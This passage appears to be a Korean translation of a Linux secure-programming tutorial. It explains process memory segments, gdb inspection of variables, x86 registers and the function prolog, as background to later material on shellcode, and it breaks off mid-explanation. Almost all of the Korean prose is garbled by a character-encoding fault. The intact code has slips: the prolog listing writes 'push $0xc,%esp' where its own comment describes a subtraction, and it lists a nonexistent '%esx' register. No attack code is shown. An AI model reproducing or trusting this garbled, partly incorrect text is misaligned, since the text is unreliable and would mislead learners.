|
|
/±Û¾´ÀÌ : Frédéric Raynal, Christophe Blaess, Christophe Grenier ±Û¾´ÀÌ ¼Ò°³: Christophe Blaess´Â Ç×°ø¿£Áö´Ï¾îÀÌ´Ù. ±×´Â ¸®´ª½º ÆÒÀ¸·Î ¸®´ª½º ½Ã½ºÅÛÀ¸·Î ¸¹Àº ÀÏÀ» ½ºÇàÇÏ°í ÀÖ´Ù. ±×¸®°í Linux¹®¼ÈÇÁ·ÎÁ§Æ®¿¡¼ manÆäÀÌÁöÀÇ ¹ø¿ªÀ» ¸Ã°í ÀÖ´Ù. Christophe Grenier´Â ESIEA¿¡¼ 5³âÂ÷ ÇлýÀÌ¸é¼ ½Ã½ºÅÛ °ü¸®ÀÚ·Î È°µ¿ÁßÀÌ´Ù. is a 5th year student at the ESIEA, where he ÄÄÇ»ÅÍ º¸¾È¿¡ ¸¹Àº °ü½ÉÀÌ ÀÖ´Ù. Frédéric Raynal´Â ¸®´ª½º·Ñ ¿À·¡ÀüºÎÅÍ »ç¿ëÇØ ¿Ô´Ù.¸®´ª½º´Â ȯ°æÀ» ¿À¿°½ÃÅ°Áöµµ ¾Ê°í È£¸£¸óÀ» »ç¿ëÇÏÁöµµ ¾Ê°í µ¿¹°¼º ±â¸§µµ ¾øÀÌ ´ÜÁö ¶¡°ú ³ë·ÂÀ» ±â¹ÝÀ¸·Î ¹ßÀüÇØ ³ª°¡±â ‹š¹®¿¡ ÁÁ¾ÆÇÑ´Ù°í... Â÷·Ê: |
¿ä¾à:
À̹ø¿¡ ±âȹµÈ ¿¬ÀçµéÀº applications ¿¡¼ ³ªÅ¸³¯¼ö ÀÖ´Â º¸¾È ¹®Á¦Á¡µé¿¡ ÁßÁ¡À» µÎ°í ÀÖ´Ù. ±×¸®°í ÇÁ·Î±×·¥ °³¹ß½Ã ¾à°£¸¸ ³ë·ÂÇÑ´Ù¸é ÀÌ·¯ÇÑ ¹®Á¦Á¡Àº ÇÇÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» º¸¿©ÁÖ°í ÀÖ´Ù.
À̹ø±Û¿¡¼´Â ¸Þ¸ð¸®ÀÇ ±¸Á¶¿Í °èÃþ,±×¸®°í funtion °ú memoryÀÇ °ü°è¿¡ ´ëÇؼ ´Ù·ç¾ú´Ù. ¶ÇÇÑ À̱ÛÀÇ ¸¶Áö¸·ºÎºÐ¿¡¼´Â shellcode¸¦ ¸¸µå´Â ¹æ¹ýÀ» ´Ù·ç¾ú´Ù. shellcode.
¿ì¸®´Â ÀϹÝÀûÀ¸·Î, ¸í·É¾îµé·Î ÀÌ·ç¾îÁ® ÀÖÀ¸¸ç,±â°è¾î·Î Ç¥ÇöµÈ °ÍÀ»(ÀÌ°ÍÀ» ÇÁ·Î±×·¡¹ÖÇÏ´Â ¾ð¾î¿Í´Â »ó°ü¾øÀÌ) binary¶ó°í ºÎ¸¥´Ù. binary fileÀ» ¾ò±â À§ÇØ Ã³À½ compileÇÒ ¶§, program source´Â º¯¼ö(variable),»ó¼ö(constants),¸í·É¾î(instructions) µîÀ» º¸°üÇÑ´Ù. ÀÌ Àå¿¡¼´Â binaryÀÇ °¢ ºÎºÐÀÌ ¸Þ¸ð¸®¿¡¼ ¾î¶»°Ô ¹èÄ¡µÇ´ÂÁö¸¦ ¾Ë¾Æº¸°íÀÚ ÇÑ´Ù.
½ÇÇàÆÄÀÏ(binary)ÀÌ ½ÇÇàµÇ´Â µ¿¾È ¾î¶²ÀÏÀÌ ÀϾ´ÂÁö ÀÌÇØÇϱâ À§Çؼ ¸Þ¸ð¸®ÀÇ ±¸Á¶¸¦ »ìÆ캸±â·Î ÇÏÀÚ. ±×¸²¿¡¼¿Í °°ÀÌ ¿©·¯°¡Áö ¿µ¿ªÀÌ ¸Þ¸ð¸®¿¡ Á¸ÀçÇÑ´Ù.
À§ÀÇ ±×¸²ÀÌ ¸Þ¸ð¸® ±¸Á¶ÀÇ ¸ðµç °ÍÀ» º¸¿©ÁÖ°í ÀÖÁø ¾ÊÁö¸¸, ÀÌ ±Û¿¡¼ ÁßÁ¡ÀûÀ¸·Î ´Ù·ê ³»¿ë¿¡ ´ëÇÑ ¸Þ¸ð¸® ±¸Á¶¸¦ Àß º¸¿©ÁÖ°í ÀÖ´Ù.
¾Æ·¡¿¡ ³ª¿À´Âsize -A file --radix 16
À̶õ ¸í·ÉÀº compileµÉ¶§ °¢°¢ÀÇ ¿µ¿ªÀÌ Â÷ÁöÇÏ´Â Å©±â¸¦ º¸¿©ÁÖ´Â
¸í·ÉÀÌ´Ù. ÀÌ ¸í·ÉÀ» ÅëÇؼ °¢°¢ÀÇ ¿µ¿ª¿¡ ´ëÇÑ
¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾òÀ» ¼ö ÀÖ´Ù(ÀÌ¿Í °°Àº Á¤º¸´Â objdump
¶ó´Â
¸í·É¾î¸¦ ÅëÇؼµµ ¾òÀ» ¼ö ÀÖ´Ù.). ¿©±â¿¡¼´Â "fct" ¶ó´Â
½ÇÇàÆÄÀÏ(binary)ÀÇ size
¸¦ ¿¹·Î µé¾ú´Ù.
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini 0x1a 0x804844c .rodata 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
¿µ¿ªÀº ÇÁ·Î±×·¥ÀÇ ¸í·É¾îµé(instructions)ÀÌ ÀúÀåµÇ¸ç,
ÀÌ ¿µ¿ªÀº read-only¿µ¿ªÀÌ´Ù. ÀÌ ¿µ¿ªÀº °°Àº ½ÇÇàÆÄÀÏÀÌ
¿©·¯°³ ½ÇÇàÁßÀ϶§ ¸ðµç ÇÁ·Î¼¼½º(process)°¡ °øÀ¯ÇÏ´Â ¿µ¿ªÀÌ´Ù.
ÀÌ ¿µ¿ª¿¡ ´ëÇÑ ¾²·Á´Â ½Ãµµ´Â segmentation violation error¸¦
°¡Á®¿Ã °ÍÀÌ´Ù.
´Ù¸¥ ¿µ¿ª¿¡ ´ëÇØ ¼³¸íÇϱâ Àü¿¡, C¾ð¾î¿¡¼ÀÇ º¯¼ö(varilable)¿¡
°üÇؼ ¸î°¡Áö ¾Ë¾Æº¸ÀÚ. Àü¿ªº¯¼ö(global variables)¸¦ ¼±¾ð
Çϸé, ÇÁ·Î±×·¥ Àüü¿¡¼ Àü¿ªº¯¼ö°¡ À¯È¿ÇÑ ¹Ý¸é, Áö¿ªº¯¼ö(
local variables)¸¦ ¼±¾ðÇÏ¸é ±× Áö¿ªº¯¼ö°¡ ¼±¾ðµÈ ÇÔ¼ö¾È¿¡¼¸¸,
À¯È¿ÇÑ °ªÀ» °¡Áø´Ù. Á¤Àû º¯¼ö(static variables)¸¦ ¼±¾ðÇϸé,
¼±¾ðµÈ µ¥ÀÌÅÍ À¯ÇüÀÇ Å©±â¸¸ÅÀÇ °ø°£À» È®º¸ÇÑ´Ù. ÀÌ µ¥ÀÌÅÍ
À¯ÇüÀ¸·Î´Â char
,int
,double
,
pointer(C ¿¡¼ *¿Í ÇÔ²² Ç¥ÇöµÇ´ÂpointerÇü º¯¼ö¸¦ ¸»ÇÑ´Ù.)µîÀÌ ÀÖ´Ù.
PCŸÀÔÀÇ ÄÄÇ»ÅÍ¿¡¼ Æ÷ÀÎÅÍ(pointer)´Â 32bitÀÇ Á¤¼öÇü ÁÖ¼Òü°è(integer address)·Î
Ç¥ÇöµÈ´Ù. static¿µ¿ªÀÇ Å©±â´Â ÄÄÆÄÀϵǴ µ¿¾È Á¤È®È÷´Â ¾Ë ¼ö
¾ø´Ù.µ¿Àûº¯¼ö(dynamic variable)´Â ¸í½ÃÀûÀ¸·Î ¸Þ¸ð¸® ¿µ¿ªÀ» ÇÒ´çÇϹǷÎ,
Æ÷ÀÎÅÍ°¡ ÀÌ ÇÒ´çµÈ ÁÖ¼Ò¸¦ °¡¸£Å°°í ÀÖ´Ù. global/local,static/dynamic
º¯¼öµéÀº °°ÀÌ »ç¿ëÇÏ¿©µµ »ó°ü¾ø´Ù.
´Ù½Ã, À§¿¡¼ »ìÆ캻 ¸Þ¸ð¸® ±¸Á¶·Î ³Ñ¾î°¡ º¸ÀÚ. data¿µ¿ªÀº
ÃʱâÈµÈ Á¤Àû Àü¿ª data
(the initialized global static
data)°¡ ÀúÀåµÇ´Â ¹Ý¸é(ÀÌ °ªÀº ÄÄÆÄÀϽà Á¦°øµÈ´Ù.), bss
segment´Â ÃʱâȵÇÁö ¾ÊÀº Àü¿ª data(global data)°¡ ÀúÀåµÈ´Ù.
ÀÌ ¿µ¿ªÀº ±×µéÀÌ °¡Áö°í ÀÖ´Â objects¿¡ ÀÇÇØ Á¤ÀÇµÈ ±×µéÀÇ
Å©±â°¡ Àֱ⠶§¹®¿¡ ÄÄÆÄÀϵɶ§ º¸Á¸µÈ´Ù.
±×·¸´Ù¸é ÄÄÆÄÀϽà Áö¿ªº¯¼ö¿Í µ¿Àûº¯¼ö´Â ¾î¶»°Ô µÉ±î? À̵éÀº ÇÁ·Î±×·¥ ½ÇÇàÀ» À§ÇØ ¸Þ¸ð¸® ¿µ¿ª¿¡ ¹«¸®Áö¾î ÀúÀåµÈ´Ù( À̵éÀº user stack frameÀ̶ó´Â °ÍÀ» »ý¼ºÇÏ¿© ÀÌ°÷¿¡ ÀúÀåµÈ´Ù.). ÇÔ¼ö°¡ ¹Ýº¹ÀûÀ¸·Î È£ÃâµÇ±â ¶§¹®¿¡ Áö¿ªº¯¼öÀÇ instances °¹¼ö´Â »çÀü¿¡ ¾Ë ¼ö ¾ø´Ù. Áö¿ªº¯¼ö¸¦ »ý¼ºÇϸé, À̵éÀº stack¿¡ ³Ö¾îÁö°Ô µÈ´Ù. ÀÌ ½ºÅÃÀº user address °ø°£¿¡¼ »óÀ§ ¸Þ¸ð¸® ÁÖ¼Ò¹øÁöÀÇ ÃÖ»óÀ§¿¡ À§Ä¡Çϸç, LIFO(Last In, First Out)¸ðµ¨¿¡ µû¶ó µ¿ÀÛÇÑ´Ù. user frame¿µ¿ªÀÇ ¾Æ·¡ÂÊÀº µ¿Àûº¯¼öÀÇ ÇÒ´ç¿¡ »ç¿ëµÈ´Ù. À̺κÐÀ» heap¿µ¿ªÀ̶ó ºÎ¸¥´Ù. ÀÌ°ÍÀº µ¿Àûº¯¼ö¿Í Æ÷ÀÎÅÍ¿¡ ÀÇÇØ °¡¸®ÄÑÁö´Â ¸Þ¸ð¸® ¿µ¿ªÀ» Æ÷ÇÔÇÏ°í ÀÖ´Ù. 32bit ü°è¿¡¼ Æ÷ÀÎÅÍ º¯¼ö¸¦ ¼±¾ðÇßÀ»¶§, BSS¶Ç´Â stack¾ÈÀÇ ¾î¶² Á¤È®ÇÑ ÁÖ¼Ò¸¦ °¡¸£Å°Áö´Â ¾Ê´Â´Ù. ÇÁ·Î¼¼¼°¡ memory¸¦ ÇÒ´çÇÔÀ¸·Î¼ (malloc°°Àº ÇÔ¼ö¸¦ ½á¼) ±× ¸Þ¸ð¸®ÀÇ Ã¹¹ø° ¹ÙÀÌÆ®ÀÇ ÁÖ¼Ò°¡ Æ÷ÀÎÅͺ¯¼ö¾ÈÀ¸·Î µé¾î°¡°Ô µÈ´Ù.
¾Æ·¡ÀÇ ¿¹Á¦´Â ¸Þ¸ð¸®¾È¿¡¼ º¯¼öµéÀÌ ¾î¶² °èÃþ¿¡ ¼ÓÇÏ´Â Áö¸¦ Àß º¸¿©ÁÖ°í ÀÖ´Ù. :
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserves 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
Gnu/linux µð¹ö°ÅÀÎ gdb
¸¦ ÀÌ¿ëÇÏ¿© À̸¦ È®ÀÎÇغ¸ÀÚ.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
breakpoint¸¦ f()
½ÃÄѺ¸ÀÚ:
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
ÀÌÁ¦´Â °¢°¢ÀÇ º¯¼ö°¡ À§Ä¡ÇÏ´Â °÷À» È®ÀÎÇغ¼ Â÷·Ê´Ù.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
1¹ø ¸í·É(print &index
)Àº Àü¿ªº¯¼öÀÎ
index
ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ º¸¿©ÁØ´Ù. µÎ¹ø° ¸í·É
(info
)´Â indexÀÇ ¸Þ¸ð¸®ÁÖ¼Ò¿Í symbolÀ» ¿¬°á½ÃÄѼ
¸Þ¸ð¸®ÀÇ ¾î¶² ¿µ¿ª¿¡ ÀÌ ÁÖ¼Ò°¡ Á¸ÀçÇÏ´ÂÁö¸¦ º¸¿©ÁØ´Ù:
index
´Â ÃʱâÈµÈ Àü¿ª Á¤Àû º¯¼öÀ̹ǷÎ
data
¿µ¿ª¿¡ ÀúÀåµÈ´Ù´Â °ÍÀ» ÀÌ ¸í·ÉÀ» ÅëÇØ
¾Ë ¼ö ÀÖ´Ù.
3¹ø°ú 4¹ø ¸í·É¾î´Â ÃʱâȵÇÁö ¾ÊÀº Á¤Àû º¯¼öÀÎ
nothing
ÀÌ BSS
segment¿¡ ÀúÀåµÈ´Ù´Â »ç½ÇÀ»
º¸¿©ÁÖ°í ÀÖ´Ù.
5¹ø¸í·ÉÀº str
À» º¸¿©ÁÖ°í ÀÖ´Ù. ½ÇÁ¦·Î´Â
str
º¯¼öÀÇ ³»¿ëÀ» º¸¿©ÁÖ°í ÀÖÀ¸¸ç ±× ÁÖ¼Ò´Â
0x80495a8
ÀÌ´Ù. 6¹ø ¸í·ÉÀº ÀÌ ÁÖ¼Ò¿¡´Â ¾Æ¹«·±
º¯¼öµµ Á¤ÀǵǾî ÀÖÁö ¾ÊÀ½À» º¸¿©ÁÖ°í ÀÖ´Ù.
7¹ø¸í·ÉÀ¸·Î str
º¯¼öÀÇ ÁÖ¼Ò¸¦ ¾ò¾î¼,
8¹ø¸í·ÉÀ¸·Î ÀÌ º¯¼ö°¡ BSS
segment¿¡ Á¸ÀçÇÑ´Ù´Â
°ÍÀ» º¸¿©ÁÖ°í ÀÖ´Ù.
9¹ø¸í·ÉÀº 0x804959c
ÀÇ ÁÖ¼Ò¿¡ ÀúÀåµÈ ¸Þ¸ð¸®
³»¿ë¿¡ ÇØ´çÇÏ´Â °ÍÀ» 4bytes·Î º¸¿©ÁØ´Ù: ÀÌ ¸Þ¸ð¸®
³»¿ëÀº heap ¿µ¿ª¿¡ Á¸ÀçÇÑ´Ù. 10¹ø¸í·ÉÀº ¹®ÀÚ¿
"abcde"°¡ ÀÌ ¸Þ¸ð¸® ÁÖ¼Ò¿¡ Á¸ÀçÇÑ´Ù´Â º¸¿©ÁØ´Ù :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
Áö¿ªº¯¼öÀÎ c
¿Í i
´Â ½ºÅÿ¡ ÀúÀåµÈ´Ù.
¿ì¸®´Â ÇÁ·Î±×·¥¿¡¼ size
¸í·É¾î¸¦ ÅëÇØ ¾òÀº
°¢°¢ÀÇ ¿µ¿ª¿¡ ´ëÇÑ Å©±â°¡ ¿ì¸®°¡ ±â´ëÇÑ °ª°ú
´Ù¸£´Ù´Â »ç½ÇÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. Å©±â°¡ ´Ù¸¥
ÀÌÀ¯´Â ¶óÀ̺귯¸®¿¡¼ ¼±¾ðµÈ °¢Á¾ÀÇ ´Ù¸¥ º¯¼öµéÀÌ
ÇÁ·Î±×·¥ ½ÇÇà½Ã ³ªÅ¸³ª±â ¶§¹®ÀÌ´Ù(gdb
¿¡¼
info variables
¶ó´Â ¸í·ÉÀ» ÅëÇØ ÀÌµé ¸ðµÎ¸¦
¾òÀ» ¼ö ÀÖ´Ù.).
ÇÔ¼ö°¡ È£ÃâµÉ ¶§¸¶´Ù, Áö¿ª º¯¼ö¿Í ÇÔ¼öÀÇ ÀÎÀÚµéÀ»
À§ÇÑ »õ·Î¿î ȯ°æÀÌ »ý¼ºµÈ´Ù(¿©±â¿¡¼ ¾²ÀΠȯ°æ
(environment)À̶õ, ÇÔ¼ö¸¦ ½ÇÇàÇÏ´Â µ¿¾È ³ªÅ¸³ª´Â
¸ðµç ¿ä¼Ò¸¦ ÀǹÌÇÏ¸ç ¿©±â¿¡´Â ÇÔ¼öÀÇ ÀÎÀÚ(arguments),
Áö¿ªº¯¼ö, return addressµîÀÌ Æ÷ÇԵȴÙ. ¿©±â¼
¾²ÀΠȯ°æÀ̶õ ´Ü¾î´Â shellÀÇ È¯°æº¯¼ö¿Í´Â
´Ù¸£¹Ç·Î È¥µ¿ÇÏÁö ¾Ê±æ ¹Ù¶õ´Ù.). %esp
(extended stack pointer)´Â ½ºÅÃÀÇ ÃÖ»óÀ§ ÁÖ¼Ò¸¦ °¡Áö°í
ÀÖ´Â ·¹Áö½ºÅÍÀ̸ç, ½ÇÁ¦·Î ¿ì¸®°¡ Ç¥ÇöÇÒ ¶§´Â
ÃÖÇÏÀ§(bottom)¿¡ Ç¥ÇöµÈ´Ù. ÇÏÁö¸¸ ½ºÅÿ¡ ´õÇØÁö´Â
¸¶Áö¸· ¿ä¼Ò¸¦ °¡¸®Å°°í ÀÖ´Ù´Â Á¡°ú ½ºÅÃÀ»
ÀÌÇØÇϴµ¥ ÃÖ»óÀ§(top)À̶õ Ç¥ÇöÀÌ ´õ Àß ¾î¿ï¸®¹Ç·Î
topÀ̶ó°í °è¼Ó ºÎ¸¦ °ÍÀÌ´Ù: ÀÌ°ÍÀº ½Ã½ºÅÛ ±¸Á¶¿¡
ÀÇÁ¸ÀûÀ̾î¼, ÀÌ ·¹Áö½ºÅÍ°¡ ¶§·Î´Â ½ºÅÃÀÇ
ù¹ø° ºó °ø°£À» °¡¸®Å°°í ÀÖ´Â °æ¿ìµµ ÀÖ´Ù.
½ºÅÿ¡¼ Áö¿ªº¯¼öÀÇ ÁÖ¼Ò´Â %esp
¿¡ ´ëÇÑ offsetÀ¸·Î
Ç¥ÇöµÈ´Ù. ±×·¯³ª %esp¸¦ ÀÌ¿ëÇϸé ÀÎÀÚµé(items)¸¦ ½ºÅÿ¡
³Ö°í »©°í ÇÏ´Â ÀÛ¾÷¿¡ ÀÖ¾î¼ Ç×»ó °¢ º¯¼öÀÇ offsetÀ»
ÀçÁ¶Á¤ÇØ¾ß ÇϹǷΠ¸Å¿ì ºñÈ¿À²ÀûÀÌ´Ù. ÀÌ·¯ÇÑ ¹®Á¦Á¡À»
ÇØ°áÇÏ´Â ¹æ¾ÈÀ¸·Î %ebp
¸¦ »ç¿ëÇÑ´Ù:%ebp(extended base
pointer)´Â ÇöÀç ÇÔ¼öÀÇ È¯°æÀÌ ½ÃÀ۵Ǵ ÁÖ¼Ò¸¦ ÀúÀåÇÏ°í
ÀÖ´Â ·¹Áö½ºÅÍÀÌ´Ù. ¶ÇÇÑ ÀÌ ·¹Áö½ºÅÍ¿¡ ´ëÇÑ offsetÇ¥Çö
ÀÌ °¡´ÉÇÏ´Ù. ±×¸®°í ÇÔ¼ö°¡ ½ÇÇàµÇ´Â µ¿¾È º¯ÇÏÁö
¾Ê´Â´Ù. À§¿¡¼ ¼³¸íÇÑ ³»¿ëÀ» Àß ÀÌÇØÇÏ¿´´Ù¸é, ÇÔ¼ö¾È¿¡¼
Áö¿ªº¯¼ö³ª ÀÎÀÚ¸¦ ½±°Ô ãÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù.
½ºÅÃÀÇ ±âº» ´ÜÀ§´Â wordÀÌ´Ù : i386 CPU¿¡¼´Â 32bit, Áï
4bytesÀÌ´Ù. ÀÌ°ÍÀº ½Ã½ºÅÛ¿¡ µû¶ó ´Ù¸£´Ù. Alpha CPU¿¡¼ÀÇ
word´Â 64bitÀÌ´Ù. ½ºÅÃÀº ¿À·ÎÁö words´ÜÀ§·Î¸¸ ´Ù·ç¾î
Áö¹Ç·Î, ÇÒ´çµÈ ¸ðµç º¯¼ö´Â °°Àº word size¸¦ °¡Áö°Ô
µÈ´Ù. À̺κп¡ ´ëÇؼ´Â ÇÔ¼öÀÇ prologºÎºÐ¿¡¼ Á» ´õ
ÀÚ¼¼È÷ ´Ù·ê¿¹Á¤ÀÌ´Ù. ¾ÕÀÇ ¿¹¿¡¼ gdb
¸¦ ÅëÇÏ¿©
str
º¯¼öÀÇ ³»¿ëÀ» º¼ ¼ö ÀÖ¾ú´Âµ¥, À̺κÐÀÌ ½ºÅÃÀÇ
±âº»´ÜÀ§°¡ word¶ó´Â °ÍÀ» Àß º¸¿©ÁÖ°í ÀÖ´Ù. gdb
ÀÇ
x
¸í·ÉÀº 32bit wordÀüü¸¦ º¸¿©ÁØ´Ù(ÀÌ°ÍÀº
¿ÞÂÊÀ¸·ÎºÎÅÍ ¿À¸¥ÂÊÀ¸·Î Àд´Ù.i386 CPU¿¡¼´Â
little endian±¸Á¶¸¦ °¡Áö°í Àֱ⠶§¹®ÀÌ´Ù.).
½ºÅÿ¡¼ ÀÚÁÖ ¾²ÀÌ´Â 2°³ÀÇ cpu ¸í·É¾î°¡ ÀÖ´Ù:
push value
:
ÀÌ ¸í·ÉÀº ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡ value
¸¦ Áý¾î ³Ö´Â´Ù.
À̸í·ÉÀº ½ºÅÿ¡¼ »ç¿ëÇÒ ¼ö ÀÖ´Â ´ÙÀ½ wordÀÇ ÁÖ¼Ò¸¦ ¾ò°í, wordÀÇ
Å©±â¸¸Å %esp
¸¦ °¨¼Ò½ÃŲ´Ù;pop dest
: À̸í·ÉÀº ½ºÅÃÀÇ ÃÖ»óÀ§(top)ÀÖ´Â itemÀ»
dest¿¡ ³Ö´Â´Ù. dest
¾È¿¡´Â %esp
°¡ °¡¸£Å°°í ÀÖ´Â
ÁÖ¼Ò°ªÀÌ ³Ö¾îÁö°í %esp
´Â Áõ°¡ÇÑ´Ù.½ÇÁ¦·Î ½ºÅÿ¡¼ Á¦°ÅµÇ´Â °ÍÀº
¾Æ¹«°Íµµ ¾ø´Ù. ´Ù¸¸ ½ºÅÃÀÇ ÃÖ»óÀ§ Æ÷ÀÎÅ͸¸ º¯ÈÇÑ´Ù.
Á¤È®È÷ ·¹Áö½ºÅͶó´Â °ÍÀÌ ¹«¾ùÀ» ¸»ÇÏ´Â °ÍÀϱî? °£´ÜÇÏ°Ô ¼³¸íÇÏÀÚ¸é,¸Þ¸ð¸®¿¡ ¿¬¼ÓÀûÀ¸·Î words°¡ ±¸¼ºµÇ´Â µ¿¾È ´ÜÁö ÇÑ word¸¦ ÀúÀåÇÏ°í ÀÖ´Â º¸°üÇÔÁ¤µµ·Î ÀÌÇØÇÏ¸é µÈ´Ù. ¸Å½Ã°£¸¶´Ù »õ·Î¿î °ªÀÌ ·¹Áö½ºÅÍ¿¡ µé¾î°¡°Ô µÈ´Ù(À̶§ Àü¿¡ ÀúÀåµÈ °ªÀº ¾ø¾îÁø´Ù.).À̹ۿ¡µµ, ·¹Áö½ºÅÍ´Â ¸Þ¸ð¸®¿Í CPU»çÀÌ¿¡ Á÷Á¢Åë½ÅÀÌ °¡´ÉÇϴٴ Ư¡À» °¡Áö°í ÀÖ´Ù.
·¹Áö½ºÅÍÀ̸§ÀÇ Á¦ÀÏ ¾Õ¿¡ ÀÖ´Â 'e
'´Â "extended"¸¦
ÀǹÌÇϸç, ÀÌ°ÍÀº 16bit±¸Á¶¿¡¼ 32bit±¸Á¶·ÎÀÇ º¯È¸¦ ³ªÅ¸³½´Ù.
·¹Áö½ºÅÍ´Â ´ÙÀ½°ú °°ÀÌ 4°³ºÎºÐÀ¸·Î ³ª´ ¼ö ÀÖ´Ù :
%eax
, %ebx
,%ecx
,
%edx
°¡ ¿©±â¿¡ ¼ÓÇÑ´Ù ;%cs
, %ds
,
%esx
,%ss
°¡ ¿©±â¿¡ ¼ÓÇÑ´Ù;%eip
(Extended Instruction Pointer) :
´ÙÀ½¿¡ ½ÇÇàµÉ ¸í·É¾î¿¡ ´ëÇÑ ÁÖ¼Ò¸¦ °¡¸®Å²´Ù;%ebp
(Extended Base Pointer) : ÇÔ¼öÀÇ
Áö¿ªº¯¼ö¸¦ À§ÇÑ È¯°æÀÌ ½ÃÀ۵Ǵ °÷À» °¡¸®Å²´Ù;%esi
(Extended Source Index) : ¸Þ¸ð¸®
blockÀ» ÀÌ¿ëÇÑ ¿¬»ê(operation)¿¡¼ data source offsetÀ» °¡Áö°í ÀÖ´Ù;%edi
(Extended Destination Index) : ¸Þ¸ð¸®
blockÀ» ÀÌ¿ëÇÑ ¿¬»ê(operation)¿¡¼ destination data offsetÀ» °¡Áö°í ÀÖ´Ù;%esp
(Extended Stack Pointer) : ½ºÅÃÀÇ
ÃÖ»óÀ§(top)À» °¡¸®Å°°í ÀÖ´Ù;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
ÀÌ Àå¿¡¼´Â À§¿¡ ÀÖ´Â ÇÔ¼ö¿¡¼ ÀϾ´Â ÀÏÀ» ½ºÅðú ·¹Áö½ºÅÍ¿¡ ÃÊÁ¡À» ¸ÂÃß¾î ¼³¸íÇÏ·Á ÇÑ´Ù. ¾î¶² °ø°ÝÀº ÇÁ·Î±×·¥ÀÇ ½ÇÇà¹æ¹ýÀÇ º¯È¸¦ ÅëÇÏ¿© ÀÌ·ç¾îÁø´Ù. ÀÌ·¯ÇÑ °ÍÀ» ÀÌÇØÇϱâ À§ÇÏ¿©, ÀϹÝÀûÀ¸·Î ¾î¶² ÀÏÀÌ ÀϾ´ÂÁö¿¡ ´ëÇؼ ¾Æ´Â °ÍÀº Áß¿äÇÑ ÀÏÀÌ´Ù.
ÇÔ¼öÀÇ ½ÇÇàÀº ´ÙÀ½°ú °°ÀÌ ¼¼ºÎºÐÀ¸·Î ³ª´ ¼ö ÀÖ´Ù :
push %ebp mov %esp,%ebp push $0xc,%esp //¿©±â¼´Â $0xc¶ó´Â °ªÀ» %esp ¿¡¼ »©ÁÖ¾ú´Âµ¥ ÀÌ°ªÀº ÇÁ·Î±×·¥¿¡ µû¶ó ´Ù¸£°Ô ³ªÅ¸³¯ ¼ö ÀÖ´Ù.
ÀÌ ¼¼°¡Áö ¸í·É¾îµéÀ» ¿ì¸®´Â prolog¶ó ºÎ¸¥´Ù.
diagram 1¿¡¼ toto()ÇÔ¼öÀÇ
prologºÎºÐ¿¡¼ ÀϾ´Âµ¿ÀÛÀ» %ebp
¿Í
%esp
·¹Áö½ºÅ͸¦ ÅëÇØ ¾Ë ¼ö ÀÖ´Ù.:
óÀ½¿¡ %ebp ·¹Áö½ºÅÍ´Â X ¶ó´Â ¸Þ¸ð¸®»óÀÇ
¾î¶² address¸¦ °¡¸£Å°°í ÀÖ´Ù. %esp ·¹Áö½ºÅÍ´Â
½ºÅÃÀÇ ÇÏÀ§¿¡ Á¸ÀçÇÏ¸ç °¡Àå ¸¶Áö¸·À¸·Î »ý¼ºµÈ ½ºÅÃÀ»
°¡¸£Å°°í ÀÖ´Â Y¶ó´Â address¸¦ °¡Áö°í ÀÖ´Ù.
ÀÏ´Ü ÇÔ¼ö ¾È¿¡ µé¾î¿À¸é ÇöÀçÀÇ È¯°æÀÇ ½ÃÀۺκÐ,Áï,
%ebp ¸¦ ÀúÀåÇØ¾ß ÇÑ´Ù. À̶§¹®¿¡ %ebp ¸¦
½ºÅÿ¡ ³Ö°í(push), %esp ´Â %ebp °¡ ½ºÅÿ¡
pushµÇ±â ¶§¹®¿¡ ¸Þ¸ð¸® Å©±â¸¸Å °¨¼ÒÇÏ°Ô µÈ´Ù. | |
µÎ¹ø° ¸í·ÉÀº ÇÔ¼ö¿¡¼ »õ·Î¿î ȯ°æÀ» ¸¸µå´Â °ÍÀ»
Çã¶ôÇÑ´Ù. ÀÌ°ÍÀº ½ºÅÃÀÇ Á¦ÀÏ À§¿¡(top)¿¡ %ebp
